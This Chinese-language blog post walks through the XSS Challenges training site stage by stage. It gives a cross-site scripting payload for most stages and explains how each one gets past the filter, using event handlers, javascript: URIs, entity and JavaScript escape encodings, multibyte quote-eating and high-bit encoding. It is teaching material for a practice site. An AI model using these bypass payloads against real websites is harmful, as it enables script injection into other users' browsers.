XSS Challenges

Stage#1

http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9
第一题往往最简单

图片.png

查看源代码
图片.png

可看到输入框,很简单直接闭合value

"><script>alert(document.domain)</script>

图片.png

Stage#2

http://xss-quiz.int21h.jp/stage2.php?sid=f2d7d60125bdddb208fa757ee5cdae22f6818cd1

基本上和第一题完全一样

"><script>alert(document.domain)</script>

Stage#3

http://xss-quiz.int21h.jp/stage-3.php?sid=9b217ccdc6e28f1a018d6df366553a6152bc65f5
这题就有点变化了,当我们尝试输入<script>alert(document.domain)</script>时,发现不行了,查看源代码

图片.png

发现<>被过滤了
图片.png

但我们可以尝试从country入手
使用burp抓包,然后修改country内容
图片.png

修改成我们想要的
图片.png

Stage#4

http://xss-quiz.int21h.jp/stage_4.php?sid=293c09bc53b81045a43ac5a79ac535daacbeae87

图片.png

看起来和上关很相似,但我们尝试在search和country处插入xss,但是查看源码发现都被转义了
抓包吧
图片.png

抓包发现有三个参数,这时我们利用了第三个参数,得到结果
图片.png

Stage#5

http://xss-quiz.int21h.jp/stage--5.php?sid=40b33710efa4a848d21b5a6dd47671e82c31d853
先查看源代码,发现对长度进行了限制,最大长度只有15

图片.png

正常情况下我们可以构造

"><script>alert(document.domain)</script>

但这里我们可以看到这是不行的


图片.png

只能输入这些,所以只好另寻他法,先用BURP尝试一下抓包后能不能完整输入


图片.png

可以看到完整输入,毫无限制
图片.png

成功弹窗

Stage #6

http://xss-quiz.int21h.jp/stage-no6.php?sid=236f8f125f43d1efffd8f96d6f8f5b590d880847
这题按照前面的方法已经不行了,查看源代码

图片.png

发现应该是对>标签进行了过滤,并且根据提示event handler attributes(事件处理程序属性 ),提示我们要用事件属性来处理了,下面构造

" onmouseover="alert(document.domain)

试一下

图片.png

成功

Stage #7

http://xss-quiz.int21h.jp/stage07.php?sid=6fbeba7fd57ce51cf3bb463c8cae1da350722b2e
看起来与上题相似,试一下发现出错,查看源代码

图片.png

发现将"也过滤掉了
那就需要对"进行绕过了,我们可以采用空格分割属性,不使用",从而绕过"

test onmouseover=alert(document.domain)

图片.png

图片.png

发现可以


图片.png

这就是在源代码中的形式

Stage #8

http://xss-quiz.int21h.jp/stage008.php?sid=b3d0fe99bca156329272fa022f49c556e0a30d80

本关就是考查 javascript:伪协议在a标签的使用了

PAYLAOD:

javascript:alert(document.domain)

图片.png

图片.png

Stage #10

http://xss-quiz.int21h.jp/stage00010.php?sid=ebbdd5208bce92c3c26c5da4e79c3a0086f16d5e
通过提示查看应该是对domain进行了过滤

图片.png

所以我们要想办法绕过domain的过滤因此采用

"><script>alert(document.domdomainain)</script>

因为客户端会自动过滤掉domain,这dom(domain)ain变为domain


图片.png

图片.png

成功绕过

Stage #11

http://xss-quiz.int21h.jp/stage11th.php?sid=2ea843cedd78f5b9dfd684cc00be42481f72449c
查看源代码,发现对关键字进行了不少过滤

图片.png

所以只能想办法不利用这些串绕过,尝试构造

1. "><a href=javascri&#09pt:alert(document.domain)>test</a> //&#09 tab制表符html十进制编码
2. "><a href=javascri&NewLine;pt&colon;alert(document.domain)>test</a> //&NewLine;是html5的换行符,&colon;是冒号
图片.png

图片.png

点击test弹窗

Stage #12

http://xss-quiz.int21h.jp/stage_no012.php?sid=b6b9666eca49506330251b9c3e9b0603081e7cae

图片.png

发现也进行了过滤
把\x00-\x20的字符与及<,>,",'都替换为空,那也只能寻求绕过的方法了,经发现这个``符号会在ie8中解析为引号,所以利用它便可成功绕过,但只能在ie中
payload:

``onmousemove=alert(document.domain)

Stage #13

http://xss-quiz.int21h.jp/stage13_0.php?sid=9eb9941d92e5506584eb05f5f9ce3d39dfec842f
本关提示style attribute,也就是style的属性问题。
发现双引号被过滤了,那么就只能是style的payload了。

图片.png

xss:expression(onmousemove=function(){alert(document.domain)})

(为什么这么写,http://vod.sjtu.edu.cn/help/Article_Show.asp?ArticleID=2224,说CSS样式的定义应该写进函数里,不然会报错)
background-color:#f00;background:url("javascript:alert(document.domain);"); 这种方式没有成功

xss:expr/XSS/ession(alert(document.domain));

background-color:#f00;background:url("javascript:alert(document.domain);");

这两种应该只能在ie下,然而我并未成功

Stage #15

http://xss-quiz.int21h.jp/stage__15.php?sid=f530a129f54ea7c80420c9c8cd5ea68f3ea139c6
这一关考的是dom xss
这个是document.write()
实验可知道这个会过滤掉<>
由于ducument.write写的时候,
script自解码机制
HTML:进制编码:&#xH;(十六进制格式)、&#D;(十进制格式),最后的分号(;)可以不要。
HTML实体编码:即上面的那个HtmlEncode。<> &lt,&gt
onclick里的这段JavaScript出现在HTML标签内,意味着这里的JavaScript可以进行HTML形式的编码

如果用户输入出现在<script>里的JavaScript中用户输入的这段内容上下文环境是JavaScript,不是HTML(可以认为<script>标签里的内容和HTML环境毫无关系),此时用户输入的这段内容要遵守的是JavaScript法则,即JavaScript编码,具体有如下几种形式。

Unicode形式:\uH(十六进制)。
普通十六进制:\xH。
纯转义:'、"、<、>这样在特殊字符之前加\进行转义。
在JavaScript执行之前,这样的编码会自动解码

既然这个地方会过滤掉<>,就可以先按照JS编码

源码:<script>alert(document.domain)</script>

因为是在js范畴,document.write在输出的时候会JavascriptDecode一下数据,会把数据原有\去除,即php里面的stripslashes
所以我们最终的payload应该是这样的。

\x3cscript\x3ealert(document.domain)\x3c/script\x3e

图片.png

Stage #16

图片.png

提示内容;把\x 替换成了\\x,就是过滤掉了\x,但是js编码又不止16进制,还有八进制,unicode编码
用unicode编码尝试

\u003cscript\u003ealert(document.domain);\u003c/script\u003e

图片.png

用八进制编码,同样可以

\74img src=x onerror=alert(document.domain)\76

这是别人总结的能引起Dom XSS的入口函数:
document.write()
document.writeln()
document.body.innerHtml
eval()
window.execScript()
window.setInterval()
window.setTimeout()

Stage #17

http://xss-quiz.int21h.jp/stage-No17.php?sid=463e60e61219d8df193508ef13f2c6626ee40ff6
提示:multi-byte character
思路类似于宽字节注入,利用特殊字节吃掉双引号
半角片假名使用两个字节来表示。

“第一位字节”使用0x8E
“第二位字节”使用0xA1-0xDF

JIS X 0208字元使用两个字节来表示。

“第一位字节”使用0xA1-0xFE
“第二位字节”使用0xA1-0xFE

JIS X 0212字元使用三个字节来表示。

“第一位字节”使用0x8F
“第二位字节”使用0xA1-0xFE
“第三位字节”使用0xA1-0xFE
查看源代码


图片.png

目的是吃掉上面和下面一个双引号,然后使他们闭合,抓包修改p1,p2

p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7

图片.png

%A7,是随意的,只要是符合上面说的第一个字节范围即可。。
由于浏览器版本问题无法显示结果

Stage #18

http://xss-quiz.int21h.jp/stage__No18.php?sid=b23d6719a639f5655a2966a2f5ade6ec86841851
提示:us-ascii high bit issue
将每个字符的二进制最高位置为1,然后再转为16进制
比如说:

< 的16进制是3C,2进制是0011 1011,最高位置为1之后,变成1011 1011 ,也就是BC

’ >同理变成BE

“ 同理变成A2

所以:

"><script>alert(document.domain)</scirpt>

就变成:

%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,711评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,079评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,194评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,089评论 1 286
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,197评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,306评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,338评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,119评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,541评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,846评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,014评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,694评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,322评论 3 318
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,026评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,257评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,863评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,895评论 2 351

推荐阅读更多精彩内容

  • 怎样进行Xss攻击 XSS Challenges:http://xss-quiz.int21h.jp/这是一个日本...
    Smi1e_阅读 2,268评论 5 5
  • alert(document.domain) xss challenge 2: payload:"> alert...
    _return_阅读 664评论 0 0
  • 之前积累了XSS 有一段时间,因为目前开始了一件有趣的工程,需要整合非常多的知识,其中Web 安全这一块出现最多的...
    刀背藏身阅读 9,049评论 0 16
  • (一)XSS跨站脚本攻击 参考:XSS站脚本攻击 (1)XSS简介 XSS攻击全称跨站脚本攻击(Cross Sit...
    肆意咯咯咯阅读 3,544评论 4 3
  • 快开学了。 即将进入大学了,我将拥有1000每月高额的零花钱,我将拥有丰富多彩的学校生活,大家都在期待吗?我如同过...
    unravellll阅读 219评论 0 1